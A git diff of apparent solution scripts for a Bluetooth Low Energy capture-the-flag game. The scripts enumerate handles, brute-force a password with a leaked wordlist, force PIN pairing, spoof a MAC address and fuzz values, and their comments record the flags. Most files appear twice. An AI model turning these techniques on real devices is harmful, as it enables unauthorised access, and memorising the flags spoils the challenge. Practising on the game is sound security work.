+
+print("If error try again...it takes a few attempts, BLE is a bit crap")
+p.disconnect()
+time.sleep(1)
+p = btle.Peripheral(deviceMAC)
+
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+       #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+       #hexlif2 = binascii.unhexlify(hex2)
+       hexlif2 = characteristic.read()
+       
+       print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+       
+  else:
+  	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+p.disconnect()
diff --git a/lvl_00.py b/lvl_00.py
new file mode 100755
index 0000000..de7cb6f
--- /dev/null
+++ b/lvl_00.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+simply follow the example https://github.com/hackgnar/ble_ctf_infinity
+to ensure know how to read and write to charachteristics and know the basics of how to navigate the game
+understand GATT services, charachteristics and handles.. the basics.
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+
+handle = "0x2e"
+content = "12345678901234567890"
+
+print("Sending \"12345678901234567890\" to 0x2e")
+
+services=p.getServices()
+
+hex_int = int(handle, 16)
+hex1 = binascii.hexlify(handle)
+response = p.writeCharacteristic(hex_int, content, True)
+print("Done")
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_01.py b/lvl_01.py
new file mode 100755
index 0000000..f4046b7
--- /dev/null
+++ b/lvl_01.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         goodbye 👋
+
+fc3fd58dcdad9ab23fac
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 1")
+hex1 = binascii.unhexlify(str('%0*x' % (4,1)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_02.py b/lvl_02.py
new file mode 100755
index 0000000..b6665d8
--- /dev/null
+++ b/lvl_02.py
@@ -0,0 +1,41 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ WRITE   Enter password here. Use rockyou.
+44  0x2C   READ 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+password1234 - eca7d1f3cf60a8b5344a
+'''
+
+rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt"
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+with open(rockyou) as f: 
+    for password in f: 
+    
+        sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+        response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True)
+        
+        hex1 = p.readCharacteristic(0x2C)
+        hex2 = binascii.b2a_hex(hex1) 
+        hexlif2 = str(binascii.unhexlify(hex2))
+        
+        if hexlif2 <> "":
+           print "\rPassword Found: %s" % password.rstrip() 
+           print "Flag: %s" % hexlif2
+           break; 
+            
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_03.py b/lvl_03.py
new file mode 100755
index 0000000..bc95b86
--- /dev/null
+++ b/lvl_03.py
@@ -0,0 +1,110 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+from __future__ import print_function   # import print from python3: end=""
+import time   
+import re
+import pexpect    # sudo apt-get install python-pexpect
+import subprocess
+import random
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+
+'''
+Service <uuid=Heart Rate handleStart=40 handleEnd=65535>
+42  0x2A   READ         Connect with pin 0000. Try using bluetoothctl
+
+b46fa238cf820d0f60c1
+'''
+
+# !!! make sure bluetoothd runs in --compat mode before executing this script !!!
+def pair_with_pin(start_time, pin, time_limit=60):  # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions)
+    "exectutes pairing with entered PIN on bluetooth adapter side"
+    try:
+
+        newpid = os.fork()
+        if newpid == 0:
+            '''
+            Start bluepy stuff
+            '''
+            subprocess.call(['hciconfig','hci0','down'])
+            subprocess.call(['hciconfig','hci0','up'])
+
+            deviceMAC = open('ctf_mac.txt').read()  
+            p = btle.Peripheral(deviceMAC)
+            svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb")
+            print ("Attached to peripheral")  
+            hex1 = p.readCharacteristic(0x2C)
+            hex2 = binascii.b2a_hex(hex1) 
+            hexlif2 = str(binascii.unhexlify(hex2))
+            print("Flag: "+hexlif2) 
+            p.disconnect()
+            exit()
+        else:
+            '''
+            Start actual pair stuff 
+            '''
+            subprocess.call(['hciconfig','hci0','sspmode', '0'])
+            
+            # bluetoothctl 
+            child = pexpect.spawn('bluetoothctl')
+            child.logfile = open("/tmp/mylog", "w")
+            child.expect("#")
+            child.sendline('agent off') # might be unnecessary
+            #child.sendline('scan on') # might be unnecessary
+            child.expect("unregistered")
+            
+            child.sendline('agent KeyboardDisplay ')
+            child.expect("Agent registered")
+            child.sendline('pairable on')
+            child.expect("pairable on succeeded")
+            child.sendline('discoverable on')
+            child.expect("discoverable on succeeded")
+            child.sendline('default-agent')
+            child.sendline('remove 3c:71:bf:f1:ef:c6')
+            child.sendline('pair 3c:71:bf:f1:ef:c6')
+
+            child.expect('Request passkey', timeout = time_limit )   # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic
+            print ('Sending PIN: ' + pin) 
+            child.sendline(pin)
+            i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit)
+            if i == 0: # found 'Paired: yes' == successful pairing
+                trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0)    # extract MAC from last line, one with 'Paired: Yes'
+                child.sendline(trust_mac)   # optionally add device to trusted
+                child.expect('trust succeeded', timeout = 10)                
+                pairing_status = True
+            else: # i == 1
+                print('wrong PIN, retrying if time will allow') 
+    except pexpect.EOF:
+        print ('!!!!!!!! EOF')
+    except pexpect.TIMEOUT:
+        print ('!!!!!!!! TIMEOUT')
+        
+    # hide Pi's bluetooth for security reasons
+    child.sendline('pairable off')
+    child.expect("pairable off succeeded")
+    child.sendline('discoverable off')
+    child.expect("discoverable off succeeded")    
+    child.close()
+    
+    return pairing_status
+
+#main program body
+PAIRING_TIME_LIMIT = 60
+BT_PIN = "0000" # random.randint(1000,10000)    # generate random 4-digit PIN 1000..9999
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,3)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+p.disconnect()
+
+status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT)
+if status == True:
+    print('Pairing successful')
\ No newline at end of file
diff --git a/lvl_04.py b/lvl_04.py
new file mode 100755
index 0000000..21ede3e
--- /dev/null
+++ b/lvl_04.py
@@ -0,0 +1,104 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+import itertools
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+Flag: f401f21d02fdd0a4fc00
+'''
+
+notificationData = ""
+
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, hndl):
+    btle.DefaultDelegate.__init__(self)
+    self.hndl=hndl;
+
+  def handleNotification(self, cHandle, data):
+    global notificationData
+    notificationData = data
+    #print("d: "+data)
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,4)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+p.disconnect()
+
+'''
+# of course not, this brute-force would make sense!
+charset = "01234565789ABCDEF"
+generator = itertools.chain.from_iterable((''.join(l)
+  for l in itertools.product(charset, repeat=i))
+  for i in range(4,5))
+'''
+
+'''
+# not this!
+print("Generating wordlist")
+charset = "01234565789ABCDEF"
+generator = itertools.chain.from_iterable((''.join(l)
+  for l in itertools.product(charset, repeat=i))
+  for i in range(12,13))
+'''
+
+print("Generating wordlist")
+generator = list()
+charset = list("0123456789ABCDEF")
+origPass = list("AABBCCDDEEFF")
+for x in range(len(origPass)): 
+  newPass = list("AABBCCDDEEFF")
+  for y in range(len(charset)):
+    newPass = list("AABBCCDDEEFF")
+    newPass[x] = charset[y]
+    generator.append("".join(newPass))
+
+for password in generator:
+  hexlif2 = binascii.unhexlify(password)
+  hexlif2 = str(hexlif2)
+
+  deviceMAC = open('ctf_mac.txt').read()  
+  p = btle.Peripheral(deviceMAC)
+
+  try:
+    srvs = (p.getServices());
+    chs=srvs[2].getCharacteristics();
+    ch=chs[1];
+    cccd = ch.valHandle + 1
+    #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY
+
+    p.setDelegate(MyDelegate(ch.getHandle()));
+    svc=p.getServiceByUUID(0x00FF)
+    p.writeCharacteristic(cccd, b"\x01\x00");
+
+    sys.stdout.write("\rTrying: %s" % password.rstrip())
+    response = p.writeCharacteristic(0x2C, hexlif2)
+
+    gotResponse = False
+    while gotResponse == False:
+      if p.waitForNotifications(1.0):
+        rsp = notificationData
+        hex = binascii.b2a_hex(rsp)
+        hexstr = str(hex).strip("0").upper()
+        #sys.stdout.write(" Response: " + hexstr) # for debugging
+        
+        if(password.strip("0") != hexstr):
+          print(" Flag: %s" % notificationData.rstrip())
+          exit()
+        else:
+          gotResponse = True
+          continue
+      print "Waiting..."    
+    
+  finally:            
+    p.disconnect()
\ No newline at end of file
diff --git a/lvl_05.py b/lvl_05.py
new file mode 100755
index 0000000..f98d9b9
--- /dev/null
+++ b/lvl_05.py
@@ -0,0 +1,38 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         find a valid write value in this pcap to use below
+44  0x2C   READ WRITE   https://github.com/hackgnar/ble_ctf_infinity/blob/master/gatt_servers/pcap_write/write_sample.pcap
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+84cf61c35b2d9c92217d
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 05")
+hex1 = binascii.unhexlify(str('%0*x' % (4,5)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+print("Sending \"121212121222\" to 0x2c")
+
+services=p.getServices()
+
+hexlif2 = binascii.unhexlify("121212121222")
+hexlif2 = str(hexlif2)
+response = p.writeCharacteristic(0x2C, hexlif2, True)
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_05_solution.png b/lvl_05_solution.png
new file mode 100644
index 0000000..310f5c6
--- /dev/null
+++ b/lvl_05_solution.png
Binary files differ
diff --git a/lvl_06.py b/lvl_06.py
new file mode 100755
index 0000000..a2cd758
--- /dev/null
+++ b/lvl_06.py
@@ -0,0 +1,32 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+import subprocess
+  
+'''
+42  0x2A   READ         Connect with mac 11:22:33:44:55:66. Try using bluez's bdaddr
+44  0x2C   READ 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 06")
+hex1 = binascii.unhexlify(str('%0*x' % (4,5)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+subprocess.call(['bdaddr','-i', 'hci0','11:22:33:44:55:66', '0'])
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/notes.txt b/notes.txt
new file mode 100644
index 0000000..71efc09
--- /dev/null
+++ b/notes.txt
@@ -0,0 +1,4 @@
+Search for MAC addresses around:
+	hcitool lescan
+enumerate the MAC
+	bleah -b 11:22:33:44:55:66 -e
\ No newline at end of file
diff --git a/reset_scoreboard.py b/reset_scoreboard.py
new file mode 100755
index 0000000..43da655
--- /dev/null
+++ b/reset_scoreboard.py
@@ -0,0 +1,30 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+chall_uuid = 0x32
+score_uuid = 0x00ff
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+
+print("Resetting scoreboard")
+hex1 = binascii.unhexlify("C1EA12")
+response = p.writeCharacteristic(chall_uuid, hex1, True)
+#print (response) 
+
+scoreboard = p.getServiceByUUID(score_uuid)
+#print(scoreboard)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+     hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+     hexlif2 = binascii.unhexlify(hex2)
+     print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+  
+p.disconnect()
\ No newline at end of file
diff --git a/send2handle.py b/send2handle.py
new file mode 100755
index 0000000..c5dfe47
--- /dev/null
+++ b/send2handle.py
@@ -0,0 +1,31 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+
+if len(sys.argv) != 3:
+   print "send content to handle\n eg.", sys.argv[0], "0x30 \"some content\""
+   quit()
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+
+handle = sys.argv[1]
+content = sys.argv[2]
+
+print("Sending \""+content+"\" to "+handle)
+
+services=p.getServices()
+
+hex_int = int(handle, 16)
+new_int = hex_int + 0x200
+print(hex_int)
+hex1 = binascii.hexlify(handle)
+#hex2 = binascii.unhexlify(str(content))
+response = p.writeCharacteristic(hex_int, content, True)
+print (response) 
+
+p.disconnect()
\ No newline at end of file

diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file
diff --git a/enumerate.py b/enumerate.py
new file mode 100755
index 0000000..9994109
--- /dev/null
+++ b/enumerate.py
@@ -0,0 +1,23 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+for service in services:
+   print (service)
+   q = service.getCharacteristics()
+   for characteristic in q:
+      hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+      if (characteristic.supportsRead()):
+         hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+         hexlif2 = binascii.unhexlify(hex2)
+         print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+      else:
+      	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+  
+p.disconnect()
\ No newline at end of file
diff --git a/enumerate.sh b/enumerate.sh
new file mode 100755
index 0000000..59cb9a5
--- /dev/null
+++ b/enumerate.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+bleah -b `cat ctf_mac.txt` -e
\ No newline at end of file
diff --git a/level_04.py b/level_04.py
new file mode 100644
index 0000000..252cefb
--- /dev/null
+++ b/level_04.py
@@ -0,0 +1,46 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+password = "AABBCCDDEEFF"
+
+sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True)
+while True:
+  if p.waitForNotifications(1.0):
+    # handleNotification() was called
+    continue
+    print "Waiting..."    
+     
+    #hex1 = p.readCharacteristic(0x2C)
+    #hex2 = binascii.b2a_hex(hex1) 
+    #hexlif2 = str(binascii.unhexlify(hex2))        
+            
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, params):
+    btle.DefaultDelegate.__init__(self)
+    # ... initialise here
+
+  def handleNotification(self, cHandle, data):
+    # ... perhaps check cHandle
+    # ... process 'data'
+    print("Data: "+data)
+
+p.disconnect()
\ No newline at end of file
diff --git a/load_level.py b/load_level.py
new file mode 100755
index 0000000..fd7da0f
--- /dev/null
+++ b/load_level.py
@@ -0,0 +1,60 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+chall_uuid = 0x30
+board_uuid = 0x2e
+score_uuid = 0x00ff
+
+if len(sys.argv) != 2:
+   print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>"
+   quit()
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+#p.connect(deviceMAC, "public")
+if( sys.argv[1] == "s"):
+	# load scroebaord... hopefully
+	print("Loading scoreboard")
+	#deviceMAC = open('ctf_mac.txt').read()  
+	#p = btle.Peripheral(deviceMAC)
+	response = p.writeCharacteristic(board_uuid, "fuck you")
+else:
+	level = int(sys.argv[1])
+	level_hex = str('%0*x' % (4,level))
+	print level_hex
+
+	
+
+	#print ("Attached to peripheral")
+	#services = p.getServiceByUUID(score_uuid)
+	#char = services.getCharacteristics(chall_uuid)[0]  
+
+	print("Loading level")
+	#char.write(level_hex)
+	hex1 = binascii.unhexlify(level_hex)
+	response = p.writeCharacteristic(chall_uuid, hex1)
+
+print("If error try again...it takes a few attempts, BLE is a bit crap")
+p.disconnect()
+time.sleep(1)
+p = btle.Peripheral(deviceMAC)
+
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+       #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+       #hexlif2 = binascii.unhexlify(hex2)
+       hexlif2 = characteristic.read()
+       
+       print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+       
+  else:
+  	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+p.disconnect()
diff --git a/lvl_00.py b/lvl_00.py
new file mode 100755
index 0000000..de7cb6f
--- /dev/null
+++ b/lvl_00.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+simply follow the example https://github.com/hackgnar/ble_ctf_infinity
+to ensure know how to read and write to charachteristics and know the basics of how to navigate the game
+understand GATT services, charachteristics and handles.. the basics.
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+
+handle = "0x2e"
+content = "12345678901234567890"
+
+print("Sending \"12345678901234567890\" to 0x2e")
+
+services=p.getServices()
+
+hex_int = int(handle, 16)
+hex1 = binascii.hexlify(handle)
+response = p.writeCharacteristic(hex_int, content, True)
+print("Done")
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_01.py b/lvl_01.py
new file mode 100755
index 0000000..f4046b7
--- /dev/null
+++ b/lvl_01.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         goodbye 👋
+
+fc3fd58dcdad9ab23fac
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 1")
+hex1 = binascii.unhexlify(str('%0*x' % (4,1)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_02.py b/lvl_02.py
new file mode 100755
index 0000000..b6665d8
--- /dev/null
+++ b/lvl_02.py
@@ -0,0 +1,41 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ WRITE   Enter password here. Use rockyou.
+44  0x2C   READ 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+password1234 - eca7d1f3cf60a8b5344a
+'''
+
+rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt"
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+with open(rockyou) as f: 
+    for password in f: 
+    
+        sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+        response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True)
+        
+        hex1 = p.readCharacteristic(0x2C)
+        hex2 = binascii.b2a_hex(hex1) 
+        hexlif2 = str(binascii.unhexlify(hex2))
+        
+        if hexlif2 <> "":
+           print "\rPassword Found: %s" % password.rstrip() 
+           print "Flag: %s" % hexlif2
+           break; 
+            
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_03.py b/lvl_03.py
new file mode 100755
index 0000000..bc95b86
--- /dev/null
+++ b/lvl_03.py
@@ -0,0 +1,110 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+from __future__ import print_function   # import print from python3: end=""
+import time   
+import re
+import pexpect    # sudo apt-get install python-pexpect
+import subprocess
+import random
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+
+'''
+Service <uuid=Heart Rate handleStart=40 handleEnd=65535>
+42  0x2A   READ         Connect with pin 0000. Try using bluetoothctl
+
+b46fa238cf820d0f60c1
+'''
+
+# !!! make sure bluetoothd runs in --compat mode before executing this script !!!
+def pair_with_pin(start_time, pin, time_limit=60):  # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions)
+    "exectutes pairing with entered PIN on bluetooth adapter side"
+    try:
+
+        newpid = os.fork()
+        if newpid == 0:
+            '''
+            Start bluepy stuff
+            '''
+            subprocess.call(['hciconfig','hci0','down'])
+            subprocess.call(['hciconfig','hci0','up'])
+
+            deviceMAC = open('ctf_mac.txt').read()  
+            p = btle.Peripheral(deviceMAC)
+            svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb")
+            print ("Attached to peripheral")  
+            hex1 = p.readCharacteristic(0x2C)
+            hex2 = binascii.b2a_hex(hex1) 
+            hexlif2 = str(binascii.unhexlify(hex2))
+            print("Flag: "+hexlif2) 
+            p.disconnect()
+            exit()
+        else:
+            '''
+            Start actual pair stuff 
+            '''
+            subprocess.call(['hciconfig','hci0','sspmode', '0'])
+            
+            # bluetoothctl 
+            child = pexpect.spawn('bluetoothctl')
+            child.logfile = open("/tmp/mylog", "w")
+            child.expect("#")
+            child.sendline('agent off') # might be unnecessary
+            #child.sendline('scan on') # might be unnecessary
+            child.expect("unregistered")
+            
+            child.sendline('agent KeyboardDisplay ')
+            child.expect("Agent registered")
+            child.sendline('pairable on')
+            child.expect("pairable on succeeded")
+            child.sendline('discoverable on')
+            child.expect("discoverable on succeeded")
+            child.sendline('default-agent')
+            child.sendline('remove 3c:71:bf:f1:ef:c6')
+            child.sendline('pair 3c:71:bf:f1:ef:c6')
+
+            child.expect('Request passkey', timeout = time_limit )   # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic
+            print ('Sending PIN: ' + pin) 
+            child.sendline(pin)
+            i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit)
+            if i == 0: # found 'Paired: yes' == successful pairing
+                trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0)    # extract MAC from last line, one with 'Paired: Yes'
+                child.sendline(trust_mac)   # optionally add device to trusted
+                child.expect('trust succeeded', timeout = 10)                
+                pairing_status = True
+            else: # i == 1
+                print('wrong PIN, retrying if time will allow') 
+    except pexpect.EOF:
+        print ('!!!!!!!! EOF')
+    except pexpect.TIMEOUT:
+        print ('!!!!!!!! TIMEOUT')
+        
+    # hide Pi's bluetooth for security reasons
+    child.sendline('pairable off')
+    child.expect("pairable off succeeded")
+    child.sendline('discoverable off')
+    child.expect("discoverable off succeeded")    
+    child.close()
+    
+    return pairing_status
+
+#main program body
+PAIRING_TIME_LIMIT = 60
+BT_PIN = "0000" # random.randint(1000,10000)    # generate random 4-digit PIN 1000..9999
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,3)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+p.disconnect()
+
+status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT)
+if status == True:
+    print('Pairing successful')
\ No newline at end of file
diff --git a/lvl_04.py b/lvl_04.py
new file mode 100755
index 0000000..21ede3e
--- /dev/null
+++ b/lvl_04.py
@@ -0,0 +1,104 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+import itertools
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+Flag: f401f21d02fdd0a4fc00
+'''
+
+notificationData = ""
+
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, hndl):
+    btle.DefaultDelegate.__init__(self)
+    self.hndl=hndl;
+
+  def handleNotification(self, cHandle, data):
+    global notificationData
+    notificationData = data
+    #print("d: "+data)
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,4)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+p.disconnect()
+
+'''
+# of course not, this brute-force would make sense!
+charset = "01234565789ABCDEF"
+generator = itertools.chain.from_iterable((''.join(l)
+  for l in itertools.product(charset, repeat=i))
+  for i in range(4,5))
+'''
+
+'''
+# not this!
+print("Generating wordlist")
+charset = "01234565789ABCDEF"
+generator = itertools.chain.from_iterable((''.join(l)
+  for l in itertools.product(charset, repeat=i))
+  for i in range(12,13))
+'''
+
+print("Generating wordlist")
+generator = list()
+charset = list("0123456789ABCDEF")
+origPass = list("AABBCCDDEEFF")
+for x in range(len(origPass)): 
+  newPass = list("AABBCCDDEEFF")
+  for y in range(len(charset)):
+    newPass = list("AABBCCDDEEFF")
+    newPass[x] = charset[y]
+    generator.append("".join(newPass))
+
+for password in generator:
+  hexlif2 = binascii.unhexlify(password)
+  hexlif2 = str(hexlif2)
+
+  deviceMAC = open('ctf_mac.txt').read()  
+  p = btle.Peripheral(deviceMAC)
+
+  try:
+    srvs = (p.getServices());
+    chs=srvs[2].getCharacteristics();
+    ch=chs[1];
+    cccd = ch.valHandle + 1
+    #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY
+
+    p.setDelegate(MyDelegate(ch.getHandle()));
